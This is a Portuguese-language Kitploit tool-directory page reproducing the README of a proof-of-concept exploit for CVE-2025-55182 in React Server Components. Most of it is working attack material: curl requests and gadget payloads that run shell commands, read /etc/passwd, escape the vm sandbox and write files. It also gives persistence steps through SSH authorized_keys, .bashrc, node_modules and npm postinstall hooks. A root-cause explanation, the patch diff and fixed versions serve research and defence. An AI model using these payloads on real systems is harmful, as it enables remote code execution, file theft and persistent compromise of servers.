Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
exploit-CVE-2025-55182-poc — Esta POC demonstra a CVE-2025-55182 usando o código vulnerável real `react-server-dom-webpack@19.0.0`. | Kitploit
Ferramentas/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e EducaçãoFerramenta de Acesso RemotoDesenvolvimento de Payloads
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

Esta POC demonstra a CVE-2025-55182 usando o código vulnerável real `[email protected]`.

Ver Repositório
12há 9 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-55182 - Vulnerabilidade na Cadeia de Protótipo do React Server Components

Este POC demonstra a CVE-2025-55182 usando código vulnerável real do [email protected].

Guia de Correção de Emergência CVE-2025-55182: Análise Completa e Mitigação para Vulnerabilidade RSC do Next.js/React (CVSS 10.0)

Este repositório é um fork de https://github.com/ejpir/CVE-2025-55182-poc e ainda não foi verificado! Por favor, tenha cautela e verifique cuidadosamente!

Início Rápido

root@kitploit:~
# Instalar dependências
npm install

# Iniciar servidor vulnerável (porta 3002)
npm start

# Executar exploit RCE
npm run exploit

Saída Esperada

root@kitploit:~
=== CVE-2025-55182 - RCE via vm.runInThisContext ===

Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}

Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

Scripts NPM

root@kitploit:~
# Servidores
npm start              # Iniciar servidor principal (server-realistic.js, porta 3002)
npm run start:legacy   # Iniciar servidor legado (server.js, porta 3002)
npm run start:module   # Iniciar servidor módulo (porta 3003) - hipotético, veja nota abaixo

# Exploits (use com npm start)
npm run exploit            # Demonstração RCE (usa vm, funciona com qualquer: vm, child_process, fs)
npm run exploit:all        # Testar todos os gadgets
npm run exploit:persistence # Ataques de persistência (apenas fs)
npm run exploit:research   # Pesquisa da cadeia de protótipo

# Exploits hipotéticos (use com start:module)
npm run exploit:module     # RCE em duas etapas via module#_load
npm run exploit:indirect   # RCE em duas etapas com arquivo de prova

Nota: Os exploits module são hipotéticos. O módulo module raramente é agrupado em aplicações de produção. Eles demonstram um caminho de ataque teórico quando apenas fs + module estão disponíveis (sem vm/child_process). Na prática, aplicações com fs geralmente também possuem child_process através de dependências como sharp, puppeteer ou execa.

Testar Gadgets Individuais

root@kitploit:~
# Iniciar servidor primeiro
npm start

# Testar leitura fs
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Testar execução de comando
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Testar execução de código vm
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Testar acesso à cadeia de protótipo
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Arquivos Principais

Servidores

ArquivoPortaDescrição
src/server-realistic.js3002Servidor principal - simula bundle webpack com módulos comuns (fs, vm, child_process)
src/server.js3002Servidor legado (usa require direto)
src/server-module-test.js3003Servidor com módulo + fs (para pesquisa)

Scripts de Exploit

ArquivoDescrição
exploit-rce-v4.jsRCE primário via vm#runInThisContext
exploit-all-gadgets.jsTesta todos os gadgets RCE (vm, child_process, fs)
exploit-module-load.jsRCE em duas etapas via fs + module#_load
exploit-indirect-rce.jsRCE em duas etapas com criação de arquivo de prova
exploit-persistence.jsAtaques de persistência (chaves SSH, .bashrc)
exploit-research.jsPesquisa da cadeia de protótipo

Como server-realistic.js Funciona

Simula um bundle webpack real onde aplicações comumente agrupam módulos perigosos através de dependências:

root@kitploit:~
// Módulos agrupados (o que é incluído ao usar pacotes comuns)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* ações do servidor do usuário */ },
  'fs': require('fs'),           // via fs-extra, gray-matter, multer
  'child_process': require('child_process'), // via execa, shelljs, puppeteer
  'vm': require('vm'),           // via ejs, pug, handlebars
  'util': require('util'),
};

A função __webpack_require__ carrega módulos apenas de BUNDLED_MODULES, simulando o comportamento real do webpack.

A Vulnerabilidade

Causa Raiz

Em requireModule(), as exportações são acessadas via notação de colchetes sem verificação hasOwnProperty:

root@kitploit:~
// VULNERÁVEL (React 19.0.0)
return moduleExports[metadata[2]];  // Acessa a cadeia de protótipo!

// CORRIGIDO (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Vetor de Ataque

  1. Enviar $ACTION_REF_0 com metadados de ação vinculados
  2. id: 'vm#runInThisContext' carrega o módulo vm, acessa a exportação runInThisContext
  3. O array bound torna-se argumentos para a função
  4. Quando a ação é chamada: runInThisContext(CODE) executa código arbitrário

Todos os Gadgets RCE Verificados

GadgetStatusDescrição
vm#runInThisContext✓Executar JS arbitrário no contexto atual
vm#runInNewContext✓Executar em "sandbox" (facilmente escapada)
child_process#execSync✓Execução direta de comando shell
child_process#execFileSync✓Executar arquivos binários
child_process#spawnSync✓Criar processo (retorna objeto)
module#_load✓Carregar e executar arquivo JS (2 etapas com fs)
fs#readFileSync✓Ler arquivos arbitrários
fs#writeFileSync✓Escrever arquivos arbitrários

Exemplos de Payloads de Gadgets

Executar comando shell (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Ler arquivos sensíveis:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Escrever arquivos no disco:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Executar JavaScript arbitrário:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Escape de sandbox (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Caminhos de Ataque Alternativos

Você Precisa do vm ou child_process?

Para RCE direto: Sim, você precisa de um:

  • Módulo vm (runInThisContext, runInNewContext)
  • Módulo child_process (execSync, execFileSync, spawnSync)

Para RCE indireto (apenas fs): Não! Apenas com fs você pode:

  • Escrever em ~/.ssh/authorized_keys → acesso SSH
  • Adicionar em ~/.bashrc → execução de código no próximo login
  • Sobrescrever node_modules/* → RCE na reinicialização da aplicação
  • Modificar o postinstall do package.json → RCE no próximo npm install

Hipotético: RCE em Duas Etapas com module#_load

Nota: Isso é hipotético. O módulo module raramente é agrupado em produção.

root@kitploit:~
// Etapa 1: Escrever módulo malicioso
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Etapa 2: Carregá-lo
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Resultado: RCE!

Resultados de Comparação

VersãoAtaqueResultado
React 19.0.0vm#runInThisContext✓ RCE alcançado
React 19.2.1vm#runInThisContext✗ Bloqueado

Testando Versão Corrigida

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Ataques falharão

Pacotes npm Vulneráveis

Consulte VULNERABLE-PACKAGES.md para pesquisas sobre pacotes npm populares que incluem módulos perigosos:

MóduloDownloads SemanaisPacotes Populares
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Versões Afetadas

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Versões Corrigidas

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Baixar ferramenta